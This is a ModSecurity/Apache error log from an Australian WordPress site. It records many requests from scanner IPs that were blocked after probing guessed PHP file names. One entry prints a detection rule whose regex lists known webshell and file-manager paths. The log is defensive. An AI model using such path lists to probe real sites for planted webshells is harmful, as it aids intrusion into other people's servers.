[Tue Jan 27 05:58:36.530370 2026] [:error] [pid 7452:tid 7466] [client 20.214.153.76:29848] [client 20.214.153.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXfjjGlXocEpHDB6FUZvngAAAAU"]
[Tue Jan 27 08:35:34.129798 2026] [:error] [pid 48445:tid 48459] [client 20.210.90.128:2056] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aXgIVhFh_QNUhZ0Hkzdx4QAAAYo"]
[Tue Jan 27 08:35:35.793538 2026] [:error] [pid 48412:tid 48436] [client 20.210.90.128:25511] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aXgIV3bJMfAKlln88JFNxAAAAVY"]
[Tue Jan 27 08:35:37.693182 2026] [:error] [pid 48528:tid 48543] [client 20.210.90.128:8977] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aXgIWQOGRrquT9N7CZoOUwAAAg0"]
[Tue Jan 27 08:35:39.057115 2026] [:error] [pid 48631:tid 48653] [client 20.210.90.128:38011] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ver.php"] [unique_id "aXgIWyN5eesHzEogX0zShgAAAlQ"]
[Tue Jan 27 08:35:43.095516 2026] [:error] [pid 7453:tid 7510] [client 20.210.90.128:37744] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ultra.php"] [unique_id "aXgIXxfsyA2ws_ADqujLKgAAAFU"]
[Tue Jan 27 08:35:49.174196 2026] [:error] [pid 48631:tid 48654] [client 20.210.90.128:27343] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ultra.php"] [unique_id "aXgIZSN5eesHzEogX0zSjQAAAlU"]
[Tue Jan 27 08:35:59.066169 2026] [:error] [pid 48631:tid 48646] [client 20.210.90.128:2458] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pro.php"] [unique_id "aXgIbyN5eesHzEogX0zSlwAAAk0"]
[Tue Jan 27 08:36:00.171415 2026] [:error] [pid 48528:tid 48543] [client 20.210.90.128:24214] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pro.php"] [unique_id "aXgIcAOGRrquT9N7CZoOkwAAAg0"]
[Tue Jan 27 08:36:05.078162 2026] [:error] [pid 7453:tid 7513] [client 20.210.90.128:31263] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pro.php"] [unique_id "aXgIdRfsyA2ws_ADqujLOAAAAFg"]
[Tue Jan 27 08:36:06.397928 2026] [:error] [pid 48528:tid 48537] [client 20.210.90.128:37909] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pro.php"] [unique_id "aXgIdgOGRrquT9N7CZoOpQAAAgc"]
[Tue Jan 27 08:36:10.159961 2026] [:error] [pid 7453:tid 7507] [client 20.210.90.128:31294] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aXgIehfsyA2ws_ADqujLQwAAAFI"]
[Tue Jan 27 08:36:15.584201 2026] [:error] [pid 7561:tid 7581] [client 20.210.90.128:2830] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aXgIf7XGI6mgvHQqkXxYXAAAANE"]
[Tue Jan 27 08:36:18.959228 2026] [:error] [pid 48445:tid 48454] [client 20.210.90.128:8641] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aXgIghFh_QNUhZ0HkzdyFQAAAYU"]
[Tue Jan 27 08:36:27.068293 2026] [:error] [pid 48662:tid 48684] [client 20.210.90.128:8683] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aXgIi-D8iESUP9uRiROUugAAApA"]
[Tue Jan 27 08:36:37.018285 2026] [:error] [pid 48412:tid 48432] [client 20.210.90.128:31179] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/data.php"] [unique_id "aXgIlXbJMfAKlln88JFOKQAAAVI"]
[Tue Jan 27 08:36:45.145761 2026] [:error] [pid 7561:tid 7565] [client 20.210.90.128:8562] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/data.php"] [unique_id "aXgInbXGI6mgvHQqkXxYcgAAAME"]
[Tue Jan 27 08:36:52.524641 2026] [:error] [pid 48446:tid 48498] [client 20.210.90.128:8229] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aXgIpMDRSaZ8F8aaLxkClgAAAdQ"]
[Tue Jan 27 08:37:06.531500 2026] [:error] [pid 7453:tid 7500] [client 20.210.90.128:36260] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aXgIshfsyA2ws_ADqujLZgAAAEs"]
[Tue Jan 27 08:37:10.880807 2026] [:error] [pid 48528:tid 48554] [client 20.210.90.128:9447] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aXgItgOGRrquT9N7CZoPNwAAAhg"]
[Tue Jan 27 08:37:15.091268 2026] [:error] [pid 48412:tid 48416] [client 20.210.90.128:24156] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aXgIu3bJMfAKlln88JFORwAAAUI"]
[Tue Jan 27 08:37:18.537942 2026] [:error] [pid 48412:tid 48425] [client 20.210.90.128:34477] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aXgIvnbJMfAKlln88JFOTwAAAUs"]
[Tue Jan 27 08:37:19.725806 2026] [:error] [pid 48412:tid 48422] [client 20.210.90.128:2693] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aXgIv3bJMfAKlln88JFOUQAAAUg"]
[Tue Jan 27 08:37:25.804821 2026] [:error] [pid 48662:tid 48679] [client 20.210.90.128:10163] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aXgIxeD8iESUP9uRiROU0QAAAos"]
[Tue Jan 27 08:37:34.135828 2026] [:error] [pid 7453:tid 7503] [client 20.210.90.128:35909] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aXgIzhfsyA2ws_ADqujLbQAAAE4"]
[Tue Jan 27 08:38:00.821792 2026] [:error] [pid 48412:tid 48416] [client 20.210.90.128:10188] [client 20.210.90.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aXgI6HbJMfAKlln88JFObgAAAUI"]
[Tue Jan 27 08:38:01.600158 2026] [:error] [pid 48445:tid 48457] [client 20.210.90.128:27188] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aXgI6RFh_QNUhZ0HkzdycwAAAYg"]
[Tue Jan 27 08:38:04.709129 2026] [:error] [pid 48412:tid 48438] [client 20.210.90.128:27880] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aXgI7HbJMfAKlln88JFOcgAAAVg"]
[Tue Jan 27 08:38:08.344275 2026] [:error] [pid 48528:tid 48554] [client 20.210.90.128:27138] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aXgI8AOGRrquT9N7CZoPnQAAAhg"]
[Tue Jan 27 08:38:10.122741 2026] [:error] [pid 48528:tid 48546] [client 20.210.90.128:2927] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aXgI8gOGRrquT9N7CZoPpAAAAhA"]
[Tue Jan 27 08:38:13.203326 2026] [:error] [pid 41780:tid 41784] [client 20.210.90.128:2937] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aXgI9Vvu-XLQ0TaZ4FGYsgAAAQI"]
[Tue Jan 27 08:38:22.831783 2026] [:error] [pid 48528:tid 48535] [client 20.210.90.128:2986] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aXgI_gOGRrquT9N7CZoPrgAAAgU"]
[Tue Jan 27 08:38:24.051161 2026] [:error] [pid 48662:tid 48675] [client 20.210.90.128:24642] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aXgJAOD8iESUP9uRiROVAAAAAoc"]
[Tue Jan 27 08:38:25.316487 2026] [:error] [pid 7453:tid 7490] [client 20.210.90.128:27353] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aXgJARfsyA2ws_ADqujLmAAAAEE"]
[Tue Jan 27 08:38:26.745515 2026] [:error] [pid 7454:tid 7523] [client 20.210.90.128:26142] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXgJApltCoZEfMmfl8C0swAAAIc"]
[Tue Jan 27 08:38:27.703849 2026] [:error] [pid 7453:tid 7489] [client 20.210.90.128:9329] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXgJAxfsyA2ws_ADqujLmQAAAEA"]
[Tue Jan 27 08:38:28.880859 2026] [:error] [pid 48446:tid 48478] [client 20.210.90.128:2507] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXgJBMDRSaZ8F8aaLxkCwQAAAcE"]
[Tue Jan 27 08:38:32.584641 2026] [:error] [pid 48446:tid 48498] [client 20.210.90.128:2899] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aXgJCMDRSaZ8F8aaLxkCyQAAAdQ"]
[Tue Jan 27 08:38:35.914709 2026] [:error] [pid 48445:tid 48452] [client 20.210.90.128:36023] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXgJCxFh_QNUhZ0HkzdyiAAAAYM"]
[Tue Jan 27 08:38:37.086980 2026] [:error] [pid 48446:tid 48483] [client 20.210.90.128:27967] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXgJDcDRSaZ8F8aaLxkC0gAAAcY"]
[Tue Jan 27 08:38:41.627195 2026] [:error] [pid 7453:tid 7492] [client 20.210.90.128:9334] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXgJERfsyA2ws_ADqujLpwAAAEM"]
[Tue Jan 27 08:38:43.168014 2026] [:error] [pid 48662:tid 48691] [client 20.210.90.128:26164] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aXgJE-D8iESUP9uRiROVEwAAApY"]
[Tue Jan 27 08:38:44.503043 2026] [:error] [pid 7453:tid 7497] [client 20.210.90.128:27373] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXgJFBfsyA2ws_ADqujLqgAAAEg"]
[Tue Jan 27 08:38:47.233514 2026] [:error] [pid 48445:tid 48470] [client 20.210.90.128:8598] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXgJFxFh_QNUhZ0HkzdykQAAAZU"]
[Tue Jan 27 08:38:48.026124 2026] [:error] [pid 48445:tid 48468] [client 20.210.90.128:35972] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXgJGBFh_QNUhZ0HkzdylAAAAZM"]
[Tue Jan 27 08:38:48.712164 2026] [:error] [pid 48662:tid 48692] [client 20.210.90.128:30479] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXgJGOD8iESUP9uRiROVGwAAApc"]
[Tue Jan 27 08:38:49.432390 2026] [:error] [pid 48412:tid 48417] [client 20.210.90.128:27358] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file56.php"] [unique_id "aXgJGXbJMfAKlln88JFOpQAAAUM"]
[Tue Jan 27 08:38:50.031373 2026] [:error] [pid 48528:tid 48533] [client 20.210.90.128:27963] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file56.php"] [unique_id "aXgJGgOGRrquT9N7CZoP2QAAAgM"]
[Tue Jan 27 08:38:51.309250 2026] [:error] [pid 48528:tid 48531] [client 20.210.90.128:30470] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file56.php"] [unique_id "aXgJGwOGRrquT9N7CZoP3AAAAgE"]
[Tue Jan 27 08:38:52.537775 2026] [:error] [pid 48528:tid 48541] [client 20.210.90.128:8599] [client 20.210.90.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file56.php"] [unique_id "aXgJHAOGRrquT9N7CZoP3wAAAgs"]
[Tue Jan 27 10:03:53.368767 2026] [:error] [pid 48445:tid 48451] [client 124.170.209.162:62406] [client 124.170.209.162] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "74.7.244.32_c2d129417a07eae97abf04762efad3a083ee6978"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/elementor/css/post-528.css"] [unique_id "aXgdBxFh_QNUhZ0HkzeD9AAAAYI"], referer: https://vetstars.com.au/
[Tue Jan 27 11:39:50.889877 2026] [:error] [pid 48412:tid 48420] [client 64.225.49.30:65507] [client 64.225.49.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aXgzhnbJMfAKlln88JGGqgAAAUY"], referer: binance.com
[Tue Jan 27 14:13:43.920785 2026] [:error] [pid 41780:tid 41786] [client 217.182.139.33:33656] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXhXl1vu-XLQ0TaZ4FHdegAAAQQ"]
[Tue Jan 27 14:13:46.529837 2026] [:error] [pid 48412:tid 48415] [client 217.182.139.33:40008] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhXmnbJMfAKlln88JGtAQAAAUE"]
